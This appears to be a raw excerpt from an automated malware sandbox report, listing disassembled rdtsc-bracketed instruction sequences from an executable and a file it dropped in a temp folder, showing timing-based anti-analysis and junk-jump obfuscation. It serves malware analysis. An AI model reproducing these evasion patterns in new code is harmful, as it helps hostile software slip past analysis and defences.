Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54E0A33 second address: 54E0AAD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1504DFF44Ch 0x00000009 xor ecx, 0F867028h 0x0000000f jmp 00007F1504DFF44Bh 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F1504DFF458h 0x0000001b add ax, 2288h 0x00000020 jmp 00007F1504DFF44Bh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 je 00007F157626D3C3h 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 movsx edx, cx 0x00000035 pushfd 0x00000036 jmp 00007F1504DFF44Ch 0x0000003b sub ax, 84E8h 0x00000040 jmp 00007F1504DFF44Bh 0x00000045 popfd 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54E0AAD second address: 54E0AB2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54E0B08 second address: 54E0B17 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504DFF44Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54E0B17 second address: 54E0B2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1504B42024h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54E0B2F second address: 54E0B33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54E0B33 second address: 54E0B54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F1504B4201Eh 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54E0B54 second address: 54E0B58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54E0B58 second address: 54E0B5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54E0B5E second address: 54E0B64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54E0B64 second address: 54E0B98 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504B42021h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d jmp 00007F1504B42021h 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54E0B98 second address: 54E0B9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54E0B9C second address: 54E0BB6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504B42026h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54F0AB4 second address: 54F0ABB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54F0ABB second address: 54F0AF5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504B42023h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov eax, 3DE4857Bh 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F1504B42028h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54F0AF5 second address: 54F0B4F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504DFF44Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c mov di, 1FE6h 0x00000010 pop ebx 0x00000011 pushfd 0x00000012 jmp 00007F1504DFF44Ch 0x00000017 xor eax, 7AA58458h 0x0000001d jmp 00007F1504DFF44Bh 0x00000022 popfd 0x00000023 popad 0x00000024 mov ebp, esp 0x00000026 pushad 0x00000027 mov dx, si 0x0000002a call 00007F1504DFF450h 0x0000002f mov cx, 8491h 0x00000033 pop eax 0x00000034 popad 0x00000035 push ebx 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54F0B4F second address: 54F0B53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54F0B53 second address: 54F0B62 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504DFF44Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54F0B62 second address: 54F0B68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54F0B68 second address: 54F0C07 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], esi 0x0000000b jmp 00007F1504DFF457h 0x00000010 mov esi, dword ptr [ebp+0Ch] 0x00000013 jmp 00007F1504DFF456h 0x00000018 test esi, esi 0x0000001a pushad 0x0000001b jmp 00007F1504DFF44Eh 0x00000020 call 00007F1504DFF452h 0x00000025 pushfd 0x00000026 jmp 00007F1504DFF452h 0x0000002b and ax, 1838h 0x00000030 jmp 00007F1504DFF44Bh 0x00000035 popfd 0x00000036 pop ecx 0x00000037 popad 0x00000038 je 00007F157625CC11h 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 jmp 00007F1504DFF451h 0x00000047 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54F0C07 second address: 54F0C1C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504B42021h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54F0C1C second address: 54F0C47 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504DFF451h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [769B459Ch], 05h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F1504DFF44Dh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54F0C47 second address: 54F0C98 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, bx 0x00000006 pushfd 0x00000007 jmp 00007F1504B42023h 0x0000000c adc ah, 0000006Eh 0x0000000f jmp 00007F1504B42029h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 je 00007F1575FB782Ch 0x0000001e pushad 0x0000001f push eax 0x00000020 mov ax, di 0x00000023 pop edx 0x00000024 movzx eax, di 0x00000027 popad 0x00000028 push esi 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54F0C98 second address: 54F0C9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54F0C9C second address: 54F0CA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54F0CA2 second address: 54F0CA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54F0CD5 second address: 54F0CDA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54F0CDA second address: 54F0CE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, esi 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54F0CE6 second address: 54F0CEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54F0CEC second address: 54F0CF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: CF5ED3 second address: CF5EEA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F1504B42022h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: CF4E61 second address: CF4E65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: CF4E65 second address: CF4E6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: CF4E6B second address: CF4E71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: CF4FB9 second address: CF4FD2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504B4201Bh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007F1504B42016h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: CF4FD2 second address: CF4FF3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F1504DFF456h 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: CF4FF3 second address: CF5014 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1504B42024h 0x00000009 popad 0x0000000a jg 00007F1504B42022h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: CF5014 second address: CF5061 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F1504DFF446h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d jno 00007F1504DFF446h 0x00000013 jmp 00007F1504DFF44Ah 0x00000018 push eax 0x00000019 pop eax 0x0000001a popad 0x0000001b ja 00007F1504DFF454h 0x00000021 jmp 00007F1504DFF44Eh 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F1504DFF44Ah 0x0000002d jmp 00007F1504DFF44Dh 0x00000032 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: CF51D6 second address: CF51E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1504B4201Bh 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: CF546E second address: CF5477 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: CF5477 second address: CF5482 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: CF5482 second address: CF549E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504DFF450h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jno 00007F1504DFF448h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: CF55E0 second address: CF5605 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F1504B42016h 0x00000008 jmp 00007F1504B42023h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jng 00007F1504B42016h 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: CF5605 second address: CF560F instructions: 0x00000000 rdtsc 0x00000002 jng 00007F1504DFF446h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: CF573B second address: CF5758 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F1504B42027h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: CF5758 second address: CF576F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1504DFF453h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: CF576F second address: CF578E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F1504B42025h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: CF7BD3 second address: CF7BDE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F1504DFF446h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: CF7BDE second address: CF7BEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: CF7BEB second address: CF7BF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F1504DFF446h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: CF7BF6 second address: CF7BFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: CF7BFC second address: CF7C00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: CF7C00 second address: CF7C2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push ecx 0x0000000d jmp 00007F1504B42029h 0x00000012 pop ecx 0x00000013 mov eax, dword ptr [eax] 0x00000015 pushad 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: CF7C80 second address: CF7D14 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F1504DFF448h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007F1504DFF448h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 00000014h 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 movsx esi, bx 0x0000002a push 00000000h 0x0000002c pushad 0x0000002d mov dword ptr [ebp+122D1D30h], edi 0x00000033 or dword ptr [ebp+122D1D6Ch], esi 0x00000039 popad 0x0000003a push C1743AA4h 0x0000003f jmp 00007F1504DFF451h 0x00000044 add dword ptr [esp], 3E8BC5DCh 0x0000004b and ecx, dword ptr [ebp+122D3CC5h] 0x00000051 push 00000003h 0x00000053 add dh, FFFFFF93h 0x00000056 mov dword ptr [ebp+122D1D13h], edx 0x0000005c push 00000000h 0x0000005e push 00000003h 0x00000060 js 00007F1504DFF44Ch 0x00000066 push A86DBE25h 0x0000006b pushad 0x0000006c jmp 00007F1504DFF44Fh 0x00000071 push ecx 0x00000072 push eax 0x00000073 push edx 0x00000074 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: CF7D14 second address: CF7D52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 xor dword ptr [esp], 686DBE25h 0x0000000d add dword ptr [ebp+122D1D9Eh], esi 0x00000013 lea ebx, dword ptr [ebp+1245BB04h] 0x00000019 mov ecx, dword ptr [ebp+122D3E2Dh] 0x0000001f xchg eax, ebx 0x00000020 pushad 0x00000021 jmp 00007F1504B4201Fh 0x00000026 jnp 00007F1504B42018h 0x0000002c popad 0x0000002d push eax 0x0000002e pushad 0x0000002f pushad 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: CF7DD9 second address: CF7E4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jnc 00007F1504DFF448h 0x0000000b popad 0x0000000c push eax 0x0000000d jmp 00007F1504DFF455h 0x00000012 nop 0x00000013 pushad 0x00000014 mov bx, cx 0x00000017 mov eax, ebx 0x00000019 popad 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push ebp 0x0000001f call 00007F1504DFF448h 0x00000024 pop ebp 0x00000025 mov dword ptr [esp+04h], ebp 0x00000029 add dword ptr [esp+04h], 0000001Ch 0x00000031 inc ebp 0x00000032 push ebp 0x00000033 ret 0x00000034 pop ebp 0x00000035 ret 0x00000036 mov dx, ax 0x00000039 or edi, dword ptr [ebp+122D3EC1h] 0x0000003f push 28BDFE9Dh 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 jmp 00007F1504DFF44Eh 0x0000004c push eax 0x0000004d pop eax 0x0000004e popad 0x0000004f rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: CF7E4D second address: CF7E53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: CF7E53 second address: CF7E57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: CF8076 second address: CF807A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: CF807A second address: CF8080 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: CF8080 second address: CF809C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504B4201Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jo 00007F1504B42024h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: CF809C second address: CF80A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D19ADF second address: D19AF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F1504B42016h 0x0000000a jmp 00007F1504B4201Ah 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D1831A second address: D18320 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D184A3 second address: D184AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D1870C second address: D18715 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D18872 second address: D18878 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D18878 second address: D1889B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jno 00007F1504DFF446h 0x0000000c popad 0x0000000d jmp 00007F1504DFF44Eh 0x00000012 jg 00007F1504DFF44Ch 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D18AFE second address: D18B02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D18B02 second address: D18B22 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504DFF454h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D1957B second address: D19587 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pop ebx 0x00000008 pushad 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D19587 second address: D19590 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D19987 second address: D19996 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 jg 00007F1504B4201Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D204D7 second address: D2052B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jmp 00007F1504DFF459h 0x0000000f mov eax, dword ptr [eax] 0x00000011 jnp 00007F1504DFF451h 0x00000017 jmp 00007F1504DFF44Bh 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F1504DFF458h 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D2052B second address: D20530 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D1F5D7 second address: D1F5DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
